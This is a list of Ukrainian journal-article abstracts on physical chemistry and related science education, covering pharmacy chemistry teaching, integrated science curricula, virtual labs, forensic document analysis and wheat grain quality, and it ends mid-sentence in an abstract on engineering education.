Journal articles on the topic 'Фізична хімія'

У статті охарактеризовано організацію навчально-пізнавальної діяльності здобувачів вищої фармацевтичної освіти у процесі вивчення навчальної дисципліни «Фізична та колоїдна хімія». Визначені напрями підвищенні якісного рівня вищої фармацевтичної освіти у процесі навчання у вищих медичних (фармацевтичних) закладах освіти України. Показано, що загальною тенденцією є удосконалення парадигми забезпечення якості надання освітніх послуг, щоб витримати конкуренцію з іншими країнами. Враховуючи особливості професійної підготовки майбутніх фахівців галузі «Охорони здоров’я» у вищих медичних закладах освіти України визначено необхідність удосконалення освітнього процесу за рахунок активного використання інноваційних технологій у процесі вивчення фізичної та колоїдної хімії. Відображено досвід методики викладання навчальної дисципліни «Фізична та колоїдна хімія» на кафедрі медичної та загальної хімії Національного медичного університету імені О.О. Богомольця.

Аналітична хімія належить до базових дисциплін у фармацевтичній освіті. Вона є підґрунтям для подальшого вивчення таких дисциплін, як фармацевтична хімія, токсикологічна та судова хімія, стандартизація лікарських засобів тощо, та передбачає формування умінь застосування одержаних знань для вивчення спеціальних дисциплін та у професійній діяльності. Навички виконання якісного та кількісного аналізу хімічними й інструментальними методами вкрай необхідні для подальшого успішного засвоєння фізичної та колоїдної, органічної, біологічної, фармацевтичної, токсикологічної та судової хімії, технології ліків й інших спеціальних дисциплін. У рамках проєкту “New and innovative teaching methods in pharmacy” доценти Тернопільського національного медичного університету імені І. Я. Горбачевського МОЗ України (ТНМУ) М. М. Михалків, І. Б. Івануса та Г. Я. Загричук відвідали Uniwersytet Medyczny w Lublinie. Ми мали можливість відвідати кафедри, на яких навчаються студенти фармацевтичного факультету, та поспілкуватися із професорсько-викладацьким складом цих кафедр щодо методик викладання дисциплін, у тому числі й аналітичної хімії, та познайомитися із напрямками їх наукових досліджень. В Україні, відповідно до навчального плану підготовки здобувачів вищої освіти галузі знань 22 «Охорона здоровʼя», спеціальності 226 «Фармація, промислова фармація» (другий (магістерський) рівень вищої освіти), кваліфікації «Магістр фармації», аналітична хімія належить до нормативних навчальних дисциплін, а саме до циклу загальної підготовки. Дану дисципліну студенти вивчають на другому курсі навчання (3 та 4 семестри). У Польщі, а саме в Люблінському медичному університеті до 2019 р. аналітичну хімію на фармацевтичному факультеті (спеціальність «Фармація») студенти вивчали також на другому курсі навчання (3 та 4 семестри), тоді як з 2019–2020 навчального року студенти вивчатимуть аналітичну хімію на першому курсі (2 семестр). Спільні підходи та відмінності у викладанні аналітичної хімії в Україні та Польщі наведено в даній статті.

У статті висвітлено шляхи вирішення основних проблем, з якими стикаються викладачі, що працюють зі студентами-іноземцями при викладанні фармацевтичного аналізу в контексті вивчення дисципліни «Фармацевтична хімія». Проаналізовано основні проблеми, які можуть впливати на результативність навчання студентів-іноземців. Дослідження базується на вивченні матеріалів, отриманих із відкритих джерел інформації та власного досвіду авторів. У статті наведені сучасні технології викладання та тестування іноземних студентів з фармацевтичної хімії, впроваджені на кафедрі фармацевтичної хімії. Оскільки якість препарату закладається ще на етапі фармацевтичної розробки, студент чітко повинен знати елементи фармацевтичної розробки та фармацевтичного аналізу. Ціллю фармацевтичного аналізу є: засвоїти загальні методи аналізу субстанцій лікарських речовин та підтвердження їх доброякісності за зовнішнім виглядом, розчинністю та реакцією середовища згідно з вимогами ДФУ; вивчити і пояснювати фізичні та фізико-хімічні методи аналізу органічних лікарських засобів; вміти проводити реакції ідентифікації субстанцій лікарських речовин за катіонним і аніонним складом згідно з вимогами ДФУ; використовувати хімічні методи для ідентифікації лікарських засобів органічної структури за аналітико-функціональними групами; визначати фізичні константи органічних речовин для ідентифікації та встановлення чистоти лікарських засобів; використовувати визначення показника заломлення і питомого обертання розчинів лікарських засобів для їх ідентифікації і встановлення чистоти; практикувати загальні вимоги ДФУ щодо випробувань на граничний вміст домішок; вміти проводити кількісне визначення вмісту лікарських речовин у субстанції різними методами; вміти проводити якісний та кількісний експрес-аналіз діючих речовин в екстемпоральних лікарських засобах. Детальне і ґрунтовне ознайомлення з основами фармацевтичного аналізу в контексті вивчення дисципліни «Фармацевтична хімія» дає можливість більш повно засвоїти матеріал, що вивчається, реалізувати науково-творчий потенціал студентів, збагачує їх знаннями, які безпосередньо будуть використані в їхній практичній діяльності. Запропонований метод дозволяє викладачеві успішніше будувати освітній процес, що, в кінцевому підсумку, позитивно позначається на загальному засвоєнні курсу.

Розроблено програмно-апаратний комплекс (ПАК) для реєстрації і обробки фізичних величин для проведення навчального і наукового експерименту. ПАК призначений для проведення демонстраційного і фронтального експерименту, лабораторних та практичних робіт, робіт фізичного практикуму відповідно до чинних навчальних програм МОН України для загальноосвітніх навчальних закладів (12-річна школа) з природничих дисциплін (фізика, хімія і біологія).

20 жовтня 2021 р. виповнюється 80 років видатному українському вченому в галузі фізичної та колоїдної хімії, хімії, фізики, біології та технології води, лауреату Державної премії України в галузі науки і техніки (2003), заслуженому діячеві науки і техніки України (1998), лауреату премії Кабінету Міністрів України (2013), премій імені Л.В. Писаржевського (1993) та О.І. Бродського (2005) НАН України, академіку Міжнародної академії наук вищої школи (2004), почесному члену АН Молдови (2009), іноземному члену НАН Республіки Казахстан (2013), директору Інституту колоїдної хімії та хімії води ім. А.В. Думанського НАН України (з 1988), доктору хімічних наук (1988), професору (1990), академіку НАН України (1997) Владиславу Володимировичу Гончаруку.

Система освіти, яка ґрунтується на наукових засадах її організації, характеризується зміщенням акцентів від отримання готового наукового знання до оволодіння методами його отримання як основи розвитку загальнонаукових компетенцій.Уже достатньо чітко визначена спрямованість нової освітньої парадигми, осмислені її детермінуючі особливості, визначено предмет постнекласичної педагогіки та її основоположні аксіоми. Вироблені пріоритети всієї постнекласичної дидактики, аж до розроблення її категоріального апарату. Проте, на фоні такої колосальної роботи педагогічної думки так і не сформульовано достатньо чітко концептуальні основи постнекласичної дидактики, яка перебуває в стані активного формування як загалом, так і по відношенню до її природничо-наукової компоненти.На сучасному етапі модернізації освіти головним завданням стає формування у студентів здатності навчатися, самостійно здобувати знання і творчо мислити, приймати нестандартні рішення, відповідати за свої дії і прогнозувати їх наслідки; за період навчання у них мають бути сформовані такі навики, які їм будуть потрібні упродовж всього життя, у якій би галузі вони не працювали: самостійність суджень, уміння концентруватися на основних проблемах, постійно поповнювати власний запас знань.Зараз вимоги до рівня підготовки випускника пред’являються у формі компетенцій. Обов’язковими компонентами будь-якої компетенції є відповідні знання і уміння, а також особистісні якості випускника. Синтез цих компонентів, який виражається в здатності застосовувати їх у професійній діяльності, становлять сутність компетенції. Отже, інтегральним показником досягнення якісно нового результату, який відповідає вимогам до сучасного вчителя, виступає компетентність випускника університету. Оволодіння сукупністю універсальних (завдяки інтегральному підходові до викладання) і професійних компетенцій дозволить випускнику виконувати професійні обов’язки на високому рівні. Необхідно шляхом інтеграції навчальних дисциплін, використовуючи активні методи та інноваційні технології, які привчають до самостійного набуття знань і їх застосування, допомагати як формуванню практичних навиків пошуку, аналізу і узагальнення любої потрібної інформації, так і набуттю досвіду саморозвитку і самоосвіти, самоорганізації і самореалізації, сприяти становленню і розвиткові відповідних компетенцій, актуальних для майбутньої професійної діяльності учителя.Стосовно обговорюваного питання, то в результаті вивчення циклу природничих дисциплін випускник повинен знати фундаментальні закони природи, неорганічної і органічної матерії, біосфери, ноосфери, розвитку людини; уміти оцінювати проблеми взаємозв’язку індивіда, людського суспільства і природи; володіти навиками формування загальних уявлень про матеріальну першооснову Всесвіту. Звичайно, що забезпечити такі компетенції будь-яка окремо взята природнича наука не в змозі. Шлях до вирішення цієї проблеми лежить через їх інтеграцію, тобто через оволодіння масивом сучасних природничо-наукових знань як цілісною системою і набуття відповідних професійних компетенцій на основі фундаментальної освіти [2].Когнітивною основою розвитку загальнонаукових компетенцій є наукові знання з тих розділів дисциплін природничо-наукового циклу ВНЗ, які перетинаються між собою. Тобто, успішність їх розвитку визначається рівнем міждисциплінарної інтеграції вказаних розділів. Загальновідомо, що найбільший інтеграційний потенціал має загальний курс фізики, оскільки основні поняття, теорії і закони фізики широко представлені і використовуються у більшості інших загальнонаукових і вузькоприкладних дисциплін, що створює необхідну базу для розвитку комплексу загальнонаукових компетентностей.У той же час визначальною особливістю структури наукової діяльності на сучасному етапі є розмежування науки на відносно відособлені один від одного напрями, що відображається у відокремлених навчальних дисциплінах, які складають змістове наповнення навчальних планів різних спеціальностей у ВНЗ. До деякої міри це має позитивний аспект, оскільки дає можливість більш детально вивчити окремі «фрагменти» реальності. З іншого боку, при цьому випадають з поля зору зв’язки між цими фрагментами, оскільки в природі все між собою взаємопов’язане і взаємозумовлене. Негативний вплив відокремленості наук вже в даний час особливо відчувається, коли виникає потреба комплексних інтегрованих досліджень оточуючого середовища. Природа єдина. Єдиною мала б бути і наука, яка вивчає всі явища природи.Наука не лише вивчає розвиток природи, але й сама є процесом, фактором і результатом еволюції, тому й вона має перебувати в гармонії з еволюцією природи. Збагачення різноманітності науки повинно супроводжуватися інтеграцією і зростанням упорядкованості, що відповідає переходу науки на рівень цілісної інтегративної гармонічної системи, в якій залишаються в силі основні вимоги до наукового дослідження – універсальність досліду і об’єктивний характер тлумачень його результатів.У даний час загальноприйнято ділити науки на природничі, гуманітарні, математичні та прикладні. До природничих наук відносять: фізику, хімію, біологію, астрономію, геологію, фізичну географію, фізіологію людини, антропологію. Між ними чимало «перехідних» або «стичних» наук: астрофізика, фізична хімія, хімічна фізика, геофізика, геохімія, біофізика, біомеханіка, біохімія, біогеохімія та ін., а також перехідні від них до гуманітарних і прикладних наук. Предмет природничих наук складають окремі ступені розвитку природи або її структурні рівні.Взаємозв’язок між фізикою, хімією і астрономією, а особливо аспектний характер фізичних знань стосовно до хімії і астрономії дають можливість стверджувати, що роль генералізаційного фактору при формуванні змісту природничо-наукової освіти можлива лише за умови функціонування системи астрофізичних знань. Генералізація фізичних й астрономічних знань, а також підвищення ролі наукових теорій не лише обумовили фундаментальні відкриття на стику цих наук, але й стали важливим засобом подальшого розвитку природничого наукового знання в цілому [4]. Що стосується змісту, то його, внаслідок бурхливого розвитку астрофізики в останні декілька десятків років потрібно зробити більш астрофізичним. Астрофізика як розділ астрономії вже давно стала найбільш вагомою її частиною, і роль її все більше зростає. Вона взагалі знаходиться в авангарді сучасної фізики, буквально переповнена фізичними ідеями й має величезний позитивний зворотній зв’язок з сучасною фізикою, стимулюючи багато досліджень, як теоретичних, так і експериментальних. Зумовлено це, в першу чергу, невпинним розвитком сучасних астрофізичних теорій, переоснащенням науково-технічної дослідницької бази, значним успіхом світової космонавтики [3].Разом з тим, сучасна астрономія – надзвичайно динамічна наука; відкриття в ній відбуваються в різних її галузях – у зоряній і позагалактичній астрономії, продовжуються відкриття екзопланет тощо. Так, нещодавно відкрито новий коричневий карлик, який через присутність у його атмосфері аміаку і тому, що його температура істотно нижча, ніж температура коричневих карликів класів L і T, може стати прототипом нового класу (його вчені вже позначили Y). Важливим є й те, що такий коричневий карлик – фактично «сполучна ланка» між зорями і планетами, а його відкриття також вплине на вивчення екзопланет.Сучасні астрофізичні космічні дослідження дозволяють отримати унікальні дані про дуже віддалені космічні об’єкти, про події, що відбулися в період зародження зір і галактик. Міжнародна астрономічна спілка (МАС) запровадила зміни в номенклатурі Сонячної системи, ввівши новий клас об’єктів – «карликові планети». До цього класу зараховано Плутон (раніше – дев’ята планета Сонячної системи), Цереру (до цього – найбільший об’єкт з поясу астероїдів, що міститься між Марсом і Юпітером) та Еріду (до цього часу – об’єкт 2003 UB313 з поясу Койпера). Водночас МАС ухвалила рішення щодо формулювання поняття «планета». Тому, планета – небесне тіло, що обертається навколо Сонця, має близьку до сферичної форму і поблизу якого немає інших, таких самих за розмірами небесних тіл. Існування в планетах твердої та рідкої фаз речовини в широкому діапазоні температур і тисків зумовлює не тільки величезну різноманітність фізичних явищ та процесів, а й перебіг різнобічних хімічних процесів, таких, наприклад як, утворення природних хімічних сполук – мінералів. На жодних космічних тілах немає такого розмаїття хімічних перетворень, як на планетах. Проте на них можуть відбуватися не тільки фізичні та хімічні процеси, а й, як свідчить приклад Землі, й біологічні та соціальні. Тобто планети відіграють особливу роль в еволюції матерії у Всесвіті. Саме завдяки існуванню планет у Всесвіті відбувається перехід від фізичної форми руху матерії до хімічної, біологічної, соціальної, цивілізаційної. Планети – це база для розвитку вищих форм руху матерії. Слід зазначити, що це визначення стосується лише тіл Сонячної системи, на екзопланети (планет поблизу інших зір) воно поки що не поширюється. Було також визначено поняття «карликова планета». Окрім цього, вилучено з астрономічної термінології термін «мала планета». Таким чином, сьогодні в Сонячній системі є планети (та їх супутники), карликові планети (та їх супутники), малі тіла (астероїди, комети, метеороїди).Використання даних сучасних астрономічних, зокрема астрофізичних уявлень переконливо свідчать про те, що дійсно всі випадки взаємодій тіл у природі (як в мікросвіті, так й у макросвіті і мегасвіті) можуть бути зведені до чотирьох видів взаємодій: гравітаційної, електромагнітної, ядерної і слабкої. В іншому плані, ілюстрація застосувань фундаментальних фізичних теорій, законів і основоположних фізичних понять для пояснення особливостей будови матерії та взаємодій її форм на прикладі всіх рівнів організації матерії (від елементарних частинок до мегаутворень Всесвіту) є переконливим свідченням матеріальної єдності світу та його пізнаваності.Наукова картина світу, виконуючи роль систематизації всіх знань, одночасно виконує функцію формування наукового світогляду, є одним із його елементів [1]. У свою чергу, з науковою картиною світу завжди корелює і певний стиль мислення. Тому формування в учнів сучасної наукової картини світу і одночасно уявлень про її еволюцію є необхідною умовою формування в учнів сучасного стилю мислення. Цілком очевидно, що для формування уявлень про таку картину світу і вироблення у них відповідного стилю мислення необхідний й відповідний навчальний матеріал. В даний час, коли астрофізика стала провідною складовою частиною астрономії, незабезпеченість її опори на традиційний курс фізики є цілком очевидною. Так, у шкільному курсі фізики не вивчаються такі надзвичайно важливі для осмисленого засвоєння програмного астрономічного матеріалу поняття як: ефект Доплера, принцип дії телескопа, світність, закони теплового випромінювання тощо.В умовах інтенсифікації наукової діяльності посилюється увага до проблем інтеграції науки, особливо до взаємодії природничих, технічних, гуманітарних («гуманітаризація освіти») та соціально-економічних наук. Розкриття матеріальної єдності світу вже не є привілеями лише фізики і філософії, та й взагалі природничих наук; у цей процес активно включилися соціально-економічні і технічні науки. Матеріальна єдність світу в тих галузях, де людина перетворює природу, не може бути розкритою лише природничими науками, тому що взаємодіюче з нею суспільство теж являє собою матерію, вищого ступеня розвитку. Технічні науки, які відображають закони руху матеріальних засобів людської діяльності і які є тією ланкою, що у взаємодії поєднує людину і природу, теж свідчать про матеріальність засобів людської діяльності, з допомогою яких пізнається і перетворюється природа. Тепер можна стверджувати, що доведення матеріальної єдності світу стало справою не лише філософії і природознавства, але й всієї науки в цілому, воно перетворилося у завдання загальнонаукового характеру, що й вимагає посилення взаємозв’язку та інтеграції перерахованих вище наук.Звичайно, що найбільший внесок у цю справу робить природознавство, яке відповідно до характеру свого предмета має подвійну мету: а) розкриття механізмів явищ природи і пізнання їх законів; б) вияснення і обґрунтування можливості екологічно безпечного використання на практиці пізнаних законів природи.Інтеграція природничо-наукової освіти передбачає застосування впродовж всього навчання загальнонаукових принципів і методів, які є стержневими. Для змісту інтегративних природничо-наукових дисциплін найбільш важливими є принцип доповнюваності, принцип відповідності, принцип симетрії, метод моделювання та математичні методи.Вважаємо за доцільне звернути особливу увагу на метод моделювання, широке застосування якого найбільш характерне для природничих наук і є необхідною умовою їх інтеграції. Необхідність застосування методу моделювання в освітній галузі «природознавство» очевидна у зв’язку зі складністю і комплексністю цієї предметної галузі. Без використання цього методу неможлива інтеграція природничо-наукових знань. У процесі моделювання об’єктів із області природознавства, що мають різну природу, якісно нового характеру набувають інтеграційні зв'язки, які об’єднують різні галузі природничо-наукових знань шляхом спільних законів, понять, методів дослідження тощо. Цей метод дозволяє, з одного боку, зрозуміти структуру різних об’єктів; навчитися прогнозувати наслідки впливу на об’єкти дослідження і керувати ними; встановлювати причинно-наслідкові зв’язки між явищами; з іншого боку – оптимізувати процес навчання, розвивати загальнонаукові компетенції.Фундаментальна підготовка студентів з природничо-наукових спеціальностей неможлива без послідовного і систематичного формування природничо-наукового світогляду у майбутніх фахівців.Науковий світогляд – це погляд на Всесвіт, на природу і суспільство, на все, що нас оточує і що відбувається у нас самих; він проникнутий методом наукового пізнання, який відображає речі і процеси такими, якими вони існують об’єктивно; він ґрунтується виключно на досягнутому рівні знань всіма науками. Така узагальнена система знань людини про природні явища і її відношення до основних принципів буття природи складає природничо-науковий аспект світогляду. Отже, світогляд – утворення інтегральне і ефективність його формування в основному залежить від ступеня інтеграції всіх навчальних дисциплін. Адже до складу світогляду входять і відіграють у ньому важливу роль такі узагальнені знання, як повсякденні (життєво-практичні), так і професійні та наукові.Вищим рівнем асоціативних зв’язків є міждисциплінарні зв’язки, які повинні мати місце не лише у змісті окремих навчальних курсів. Тому, сучасна тенденція інтеграції природничих наук і створення спільних теорій природознавства зобов’язує викладацький корпус активніше упроваджувати міждисциплінарні зв’язки природничо-наукових дисциплін у навчальний процес ВНЗ, що позитивно відобразиться на ефективності його організації та підвищенні якості навчальних досягнень студентів.Підсумовуючи вище викладене, можна зробити наступні висновки:Однією з особливостей компетентісного підходу, що відрізняє його від знанієво-центрованого, є зміна функцій підготовки вчителів з окремих дисциплін, які втрачають свою традиційну самодостатність і стають елементами, що інтегруються у систему цілісної психолого-педагогічної готовності випускника до роботи в умовах сучасного загальноосвітнього навчального закладу.Інтеграційні процеси, так характерні для сучасного етапу розвитку природознавства, обов’язково мають знаходити своє відображення в природничо-науковій освіті на рівні як загальноосвітньої, так і вищої школи. Майбутнім педагогам необхідно усвідомлювати взаємозв’язок і взаємозалежність наук, щоб вони могли підготувати своїх учнів до роботи в сучасних умовах інтеграції наук.Учителям біології, хімії, географії необхідно володіти методами дослідження об’єктів природи, переважна більшість яких базується на законах фізики і передбачає уміння працювати з фізичними приладами. Крім того, саме фізика створює основу для вивчення різноманітних явищ і закономірностей, які складають предмет інших природничих наук.Інтеграція природничо-наукових дисциплін дозволить розкрити у процесі навчання фундаментальну єдність «природа – людина – суспільство», значно посилить інтерес студентів до вивчення цього циклу дисциплін, дасть можливість інтенсифікувати навчальний процес і забезпечити високий рівень якості його результату.

Наведено програму та розкрито зміст спеціального курсу «Наноелектрохімія», який викладається студентам кафедри фізичної та неорганічної хімії Дніпропетровського національного університету.

У роботі представлено аналіз чотирьох освітніх програм підготовки вчителів природничих дисциплін закладів вищої освіти. Введення нової спеціалізації в освітню галузь “014 Середня освіта” потребує вивчення питання про розробку освітніх програм навчання майбутніх вчителів природничих дисциплін і запровадження інтегрованих курсів вивчення біології, фізики та хімії. Нами проведено аналіз характеристик та сучасного стану введення освітніх програм в освітній процес. Також зроблено аналіз нормативної бази, яка регламентує роботу вчителя. У статті розглянуто рамку складових професійної діяльності вчителя з точки зору кваліфікаційних характеристик. Проаналізовані професійні стандарти і кваліфікаційні характеристики дозволили зробити висновок про відповідність освітніх програм нормативним документам і сучасним вимогам до професійної діяльності вчителя. Проведений аналіз чотирьох освітніх програм за розділами. Це дозволило порівняти перелік їх компонент та логічну послідовність курсів, визначити їх спільні й відмінні риси. Було встановлено наявність інтегративної складової кожної програми та їх відповідність формуванню фахових компетентностей майбутніх учителів. Використання технології проблемно-орієнтованого навчання дозволяє сформувати предметні компетентності відповідно до основних предметів: фізика, хімія, біологія, природознавство. Предметні компетентності з природознавства є інтегрованого складовою курсу. В їх основу покладено формування цілісності уявлень про природу, використання природничо-наукової інформації на основі оперування базовими загальними закономірностями природи. Зроблено класифікацію інтегрованих курсів на основі характеру взаємозв'язків між дисциплінами і ступеня їх інтегрованості. Встановлено наявність інтегрованих компонент у переліку освітньо-професійної/наукової програми і їх відповідність класифікації інтегрованості курсів. Також визначено дисципліни впливу на формування інтегрованих компетентностей майбутніх вчителів інтегрованих курсів природничих наук. Ключові слова: STEM-освіта, освітні програми, міжпредметні зв'язки, міждисциплінарність, майбутні вчителі, природничо-математичні науки, інтегрований курс.

У статті висвітлено тенденції розвитку інклюзивної освіти під час вивчення хімії в умовах дистанційно- го навчання. Розглянуто поняття «віртуальна лабораторія», охарактеризовано види віртуальних засобів, що надають можливість всім учасникам навчального процесу, незалежно від фізичних можливостей робити хімічні експерименти та актуальність їх застосування в інклюзивному середовищі закладів загальної середньої освіти. Мета статті полягає в аналізі віртуальних хімічних лабораторій та їх можливостей, перевірці їх ефектив- ності під час навчання дітей з особливими освітніми потребами. Проаналізовано літературні джерела із вико- ристання віртуального хімічного експерименту на уроках хімії під час навчання дітей з особливими потребами. На основі досліджень визначено переваги та недоліки використання віртуальних лабораторій, їх позитивний вплив на процес навчання дітей з особливими потребами. Здійснено огляд сучасних віртуальних хімічних засобів навчання котрі доцільно використовувати в інклю- зивному середовищі під час вивчення хімії. Наведено приклади віртуальних хімічних лабораторій, котрі визнані в Україні та за її межами, а саме: ChemCollective, phet.colorado.edu, Chemist Free- Virtual Chem Lab, VirtuLab. Описано їх функціональні можливості та методику застосування як спеціально розроблених програмних засобів, для застосування в освітніх цілях в інклюзивному середовищі закладів загальної середньої освіти. Встановлено, що віртуальні хімічні лабораторії дають змогу виконувати хімічний експеримент всім, неза- лежно від фізичних особливостей учнів. Надають можливість учням котрі були відсутні на занятті виконувати досліди, забезпечують індивідуальний темп виконання досліду та мотивують до засвоєння нового матеріалу шляхом роботи в віртуальному середовищі. Отже, проведення хімічних експериментів за допомогою віртуальних лабораторій дозволяє ефективно вирі- шити низку навчальних задач таких як безпечність для здоров’я учнів, фінансова недоступність та можливість навчатися та виконувати досліди в період пандемії та дистанційного навчання. Вказано перспективні напрями продовження дослідження.

У доповіді розглянуто історію створення Львівської наукової школи кристалохімії. Наведено основні результати фундаментальних наукових досліджень, які успішно розвиваються на кафедрі неорганічної хімії хімічного факультету Львівського національного університету імені Івана Франка і стосуються вивчення системи взаємозв’язків «склад–структура–властивості» для цілеспрямованого синтезу нових сполук і розроблення матеріалів з унікальним комплексом хімічних та фізичних властивостей. Окрему увагу приділено співпраці між науковцями кафедри та вченими установ НАН України.

Техніко-криміналістичне дослідження документів відрізняється різноманітністю задач, що вирішуються. Для їх вирішення судовим експертом застосовуються різні методи. В експертній практиці нерідко виникає необхідність встановлення первісного змісту реквізитів згаслих документів, в тому числі втрачених при несприятливих умовах зберігання: світла, вологи, температури і т.п. Під дією даних факторів відбувається згасання реквізитів документів. Найбільш часто об'єктами судово-технічної експертизи документів при встановленні слабо видимих реквізитів є:рукописні записи, підписи, відбитки печаток і штампів. Також виникає потреба в оволодінні знаннями основ фізики, хімії та інших наукових дисциплін судовими експертами, методикою дослідження згаслих документів, наявність лабораторних приміщень та навичок для роботи з ветхими документами. В даній роботі охарактеризовано процес старіння документів під впливом різних чинників, проаналізований хімічний склад і фізичні фарбувальної речовини штрихів згаслих текстів, надана загальна характеристика матеріалу для виготовлення паперу та висвітлені методи, які найбільш доцільно застосовувати при встановленні змісту згаслих реквізитів документів.

Мета роботи – продемонструвати шляхи формування математичної грамотності та науково-пізнавального інтересу у студентів на заняттях із дисципліни “Біофізика з фізичними методами аналізу”. Основна частина. Стаття присвячена проблемі формування науково-пізнавального інтересу у студентів на заняттях з біофізики з фізичними методами аналізу. Приділено увагу ефективному використанню математичного моделювання у наукових дослідженнях з біології, хімії, медицини та фармації. На прикладі змістового модуля “Термодинаміка біологічних процесів” розглянуто сучасні математичні моделі опису реальних біологічних систем, зокрема проаналізована невирішена проблема математичного опису фазових переходів. Висновок. Для підвищення науково-пізнавального інтересу студентів та покращення рівня розуміння навчального матеріалу з дисципліни “Біофізика з фізичними методами аналізу” слід на заняттях інформувати студентів про найновітніші відкриття в даній галузі знань, особливу увагу приділяти науковим розробкам сучасних наукових математичних та фізичних шкіл, адже це значною мірою є мотиваційним фактором вивчення дисципліни.

У статті висвітлено шляхи вирішення основних проблем, з якими стикаються викладачі, що працюють зі студентами заочної форми навчання при викладанні спеціалізації «Контроль якості лікарських засобів». Проаналізовано основні проблеми, які можуть впливати на результативність навчання студентів заочної форми навчання. Дослідження базується на вивченні матеріалів, отриманих із відкритих джерел інформації та власного досвіду авторів. У статті наведені сучасні технології викладання та тестування студентів заочної форми навчання з контро­лю якості лікарських засобів, впроваджені на кафедрі фармацевтичної хімії. Оскільки якість препарату закладається ще на етапі фармацевтичної розробки, студент чітко повинен знати елементи фармацевтичної розробки та фармацевтичного аналізу. Ціллю спеціалізації «Контроль якості лікарських засобів» є: засвоїти загальні методи аналізу субстанцій лікарських речовин та підтвердження їх доброякісності за зовнішнім виглядом, розчинністю та реакцією середовища згідно з вимогами ДФУ; вивчити і пояснювати фізичні та фізико-хімічні методи аналізу органічних лікарських засобів; вміти проводити реакції ідентифікації субстанцій лікарських речовин за катіонним та аніонним складом згідно з вимогами ДФУ; використовувати хімічні методи для ідентифікації лікарських засобів органічної структури за аналітико-функціональними групами; визначати фізичні константи органічних речовин для ідентифікації та встановлення чистоти лікарських засобів; використовувати визначення показника заломлення і питомого обертання розчинів лікарських засобів для їх ідентифікації і встановлення чистоти; практикувати загальні вимоги ДФУ щодо випробувань на граничний вміст домішок; вміти проводити кількісне визначення вмісту лікарських речовин у субстанції різними методами; вміти проводити якісний та кількісний експрес-аналіз діючих речовин в екстемпоральних лікарських засобах та валідацію аналітичних методик. Детальне і ґрунтовне ознайомлення з основами контролю якості лікарських засобів дає можливість більш повно засвоїти матеріал, що вивчається, реалізувати науковотворчий потенціал студентів, збагачує їх знаннями, які безпосередньо будуть використані в їхній практичній діяльності. Запропонований метод дозволяє викладачеві успішніше будувати освітній процес, що, в кінцевому підсумку, позитивно позначається на загальному засвоєнні курсу.

У статті доведено актуальність вирощування якісної озимої пшениці в Україні як головної про-довольчої культури та цінної в польовій сівозміні. Мета дослідження полягає в оцінюванні фізичних і хімічних властивостей сортів пшениці озимої для того, щоб для виявити кращі характеристики для подальшого призначення використання зерна. Зерно пшениці озимої сортів Оржиця, Полтавчанка, Царичанка, Зелений гай, Кармелюк, Аріївка, Лютенька, Сагайдак, Диканька (селекція Полтавської державної аграрної академії) для проведення досліджень вирощувалось на полях НВП із селекції та насінництва. Лабораторні дослідження якості зерна пшениці озимої проведено в сертифікованій Держспоживстандартом України лабораторії Полтавської державної аграрної академії. Фізичні та хімічні показники якості зерна пшениці озимої було визначено відповідно до загальноприйнятих методик, які відповідають ГОСТу або ДСТУ. Дослідження показало високу енергію проростання усіх сортів озимої пшениці, а найвищий показник схожості спостерігався у сортів Зелений гай (96 %) і Царичанка (94 %). Найменший показник у сорту Оржиця – 86 %, що теж свідчить про гарну схо-жість. Визначення впливу сортових властивостей на масу 1000 зерен показало найвищий показник у сорту Зелений гай (48,0 г), а найменший – у сорту Оржиця (39,7 г). Оцінка наведених зразків на скло-подібність виявила найвищий показник у сорту Зелений гай (97 %), а найменший – у сорту Полтав-чанка (70 %). Проаналізувавши отримані результати досліджень, можна зробити висновок, що ці сорти є кращими для випічки хлібобулочних виробів. Аналіз впливу сортових властивостей на хіміч-ний склад зерна пшениці озимої проводився за показниками: вміст клейковини, число падіння, вміст білка, число седиментації. Виявлено, що найбільший вміст клейковини має сорт Лютенька (37 %), найменші – сорти Оржиця (30 %), Диканька (31 %) та Зелений гай (31 %). Визначення деформації клейковини показало, що у досліджуваних сортах пшениці переважає друга група і показники коли-ваються від 88 до 102 одиниць. Результати дослідження числа падіння показали, що зерна пшениці озимої мають показники від 206 с (що є прийнятним) до 452 с (що є збільшеним показником, тому кінцева якість хлібобулочних виробів може бути не найкращою). Проведення досліджень вмісту біл-ка засвідчило, що всі 9 сортів пшениці озимої відповідають визнаним стандартам. Найнижчий пока-зник вмісту білка має сорт Оржиця (13,6 %), а найвищий – сорт Лютенька (16,9 %). Оцінка числа седиментації показала, що більшість із представлених зразків належать до високих – понад 50 мл і більше. Лише один зразок зерна пшениці озимої Аріївка має середній показник у 34 мл. Отже, ми ви-ділили два сорти – Зелений гай і Лютенька, які показали найкращі результати за всіма параметрами і показниками. Відмічена позитивна динаміка у показниках майже всіх сортів, що доводить їх спро-можність давати стабільні сходи та стійкість до несприятливих умов.

Реформа системи вищої освіти завдяки цілеспрямованій праці Міністерства освіти і науки та вузів дала позитивні результати, але ще не вирішила головного завдання – підвищення якості підготовки спеціалістів, які потрібні державі і суспільству для творчої професійної діяльності в період науково-технічного прогресу людства і ринкових відносин.Головною причиною цього, на мій погляд, є те, що розвиток системи освіти тісно пов’язаний з економічними проблемами держави та національними особливостями суспільства, а ми намагаємось розв’язати освітянські проблеми за іноземним зразком, забуваючи що, наприклад, в Америці, звідки взято найбільше запозичень, цивілізована ринкова економіка, в якій визначальними є закони та справа. В них життєвий успіх спеціаліста визначається рівнем його підготовки у вузі, а недоукам не дають роботи на власних фірмах навіть батьки. У нас життєвий успіх спеціаліста у великій мірі залежить від зв’язків, причому ця “хвороба” так укоренилася, що сприймається за нормальні речі. Дане явище потрібно якнайшвидше ліквідувати, бо воно сильно гальмує прогресивний розвиток.В порівнянні з економікою передових капіталістичних держав, економіка України має інші проблеми. Там її основою є новітні технології з використанням сучасної техніки і головним для них є знайти ринки збуту для конкурентноспроможної продукції. В нас же головною проблемою є необхідність технічного переозброєння більшості галузей промисловості і сільського господарства, тому що на одиницю продукції (в більшості низької якості) відносно світових показників набагато вищі витрати енергоносіїв та сировини.Зрозуміло, що ці проблеми можуть успішно вирішувати спеціалісти високої кваліфікації, які підготовлені до творчої професійної діяльності по створенню ефективних технологій та машин для їх реалізації. Рівень кваліфікації спеціаліста будь-якого профілю, а особливо це стосується підготовки сучасних інженерів, залежить від рівня його базової фундаментальної підготовки, яка є наріжним каменем технічної освіти. За всіх часів дана теза була постулатом і ніким не спростовувалась. Тим більш вражаючим є той факт, що роль фундаментальних дисциплін в навчальному процесі постійно знижується. Щоб переконатися в цьому, достатньо порівняти обсяги годин, що відводяться на їх викладання в недалекому минулому з нинішніми. Але ж ми хочемо, 